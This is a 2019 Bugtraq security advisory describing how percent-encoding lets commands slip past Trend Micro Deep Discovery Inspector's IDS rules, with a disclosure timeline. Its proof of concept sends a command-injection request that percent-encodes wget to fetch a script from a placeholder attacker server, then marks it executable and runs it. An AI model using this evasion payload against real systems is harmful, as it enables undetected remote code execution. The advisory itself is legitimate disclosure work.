[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Trend Micro Deep Discovery Inspector IDS / Percent Encoding IDS Bypass
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Trend Micro Deep Discovery Inspector IDS / Percent Encoding IDS Bypass
- From: apparitionsec@xxxxxxxxx
- Date: Wed, 24 Jul 2019 00:59:16 GMT
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/TREND-MICRO-DEEP-DISCOVERY-INSPECTOR-PERCENT-ENCODING-IDS-BYPASS.txt
[+] ISR: Apparition Security
[Vendor]
www.trendmicro.com
[Product]
Deep Discovery Inspector
Deep Discovery Inspector is a network appliance that monitors all ports and
over 105 different network protocols to discover advanced threats and targeted
attacks
moving in and out of the network and laterally across it. The appliance detects
and analyzes malware, command-and-control (C&C) communications, and evasive
attacker
activities that are invisible to standard security defenses.
[Vulnerability Type]
Percent Encoding IDS Bypass
[CVE Reference]
Vendor decided not to release a CVE
[Security Issue]
Trend Micro Deep Discovery Inspector IDS will typically trigger alerts for
malicious system commands like "Wget Commandline Injection" and they will be
flagged as high.
Attacker payloads sent with normal ascii characters for example like "wget" or
even if they have been HEX encoded like "\x77\x67\x65\x74" they will still get
flagged and alerted on.
However, attackers can easily bypass these alerts by sending malicious commands
in HEX preceded by percent sign chars "%", e.g. "%77%67%65%74" which also
translates to "wget" and
will not get flagged or alerted on and may still be processed on the target
system.
e.g.
DDI RULE 2452
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/network/ddi-rule-2452
Therefore, Trend Micro IDS alerts can be easily bypassed and the payload is
still run by the vulnerable target if the payload is encoded using percent/hex
encoding like %77%67%65%74.
That will not only bypass the IDE by having no alert triggered or notification
sent but the application will still process the malicious command.
Importantly, the "wget" DDI Rule 2452 used is just an example and can
potentially be any malicious request where the IDS checks the character
encodings but fails to account for
percent encoded HEX character payload values.
[Exploit/POC]
from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass
IP = raw_input("[+] Trend Micro IDS")
PORT = 80
payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a"
req = "GET "+payload+" HTTP/1.1\r\nHost"+IP+"\r\nConnection: close\r\n\r\n"
s=socket(AF_INET, SOCK_STREAM)
s.connect((IP, PORT))
s.send(req)
res=""
while True:
res = s.recv(512)
print res
if res=="\n" or "</html>":
break
s.close()
#Result is 200 HTTP OK and code execution on vuln app and No IDS Alert gets
triggered.
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 14, 2019
Vendor confirmed the IDS Bypass: May 20, 2019
Vendor informed that a DDI IDS enhancement has been made: July 18, 2019
July 23, 2019 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided
that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx